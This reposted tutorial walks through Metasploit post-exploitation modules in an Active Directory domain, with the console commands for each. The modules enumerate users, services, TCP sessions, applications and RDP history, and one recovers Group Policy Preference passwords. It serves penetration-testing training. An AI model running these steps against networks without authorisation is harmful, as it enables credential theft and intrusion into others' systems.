Penetration Testing in Active Directory using Metasploit (Part 2)

Datetime:2016-08-23 01:06:43         Topic: Penetration Testing          Share        Original >>
Here to See The Original Article!!!

Enumerate all logged on users

This module will enumerate current and recently logged on Windows users.

msf > use post/windows/gather/enum_logged_on_users

msf post( enum_logged_on_users ) > set session 1

msf post( enum_logged_on_users ) > exploit

Gather All Group Policy Preference

This module enumerates the victim machine’s domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft’s public AES key. Cached Group Policy files may if the group policy object is deleted rather than unlinked. Tested on WinXP SP3 Client and Win2k8 R2 DC.

msf> use post/windows/gather/credentials/gpp

msfpost( gpp ) > set session 1

msfpost( gpp ) > exploit

Find All DNS Service Records

Enumerates know SRV Records for a given domain using target host DNS query tool.

msf> use post/multi/gather/dns_srv_lookup

msfpost( dns_srv_lookup ) > set domain

msfpost( dns_srv_lookup ) > set session 1

msfpost( dns_srv_lookup ) > exploit

Find All Services in Server

This module will query the system for services and display name and configuration info for each returned service. It allows you to optionally search the credentials, path, or start type for a string and only return the results that match. These query operations are cumulative and if no query strings are specified, it just returns all services. NOTE: If the script hangs, windows firewall is most likely on and you did not migrate to a safe process (explorer.exe for example)

msf> use post/windows/gather/enum_services

msfpost( enum_services ) > set session 1

msfpost( enum_services ) > exploit

Find All Active Directory TCP sessions

 This Module lists current TCP sessions .

msf> use post/windows/gather/tcpnetstat

msfpost( tcpnetsta t ) > set session 1

msfpost( tcpnetstat ) > exploit

Find All Installed Application in Server

 This module will enumerate all installed applications

msf > use post/windows/gather/enum_applications

msfpost( enum_applications ) > set session 1

msfpost( enum_applications ) > exploit

Find All Remote Desktop Session

 This module dumps MRU and connection data for RDP sessions .

msf> use post/windows/gather/enum_termserv

msfpost( enum_termserv ) > set session 1

msfpost( enum_termserv ) > exploit


Put your ads here, just $200 per month.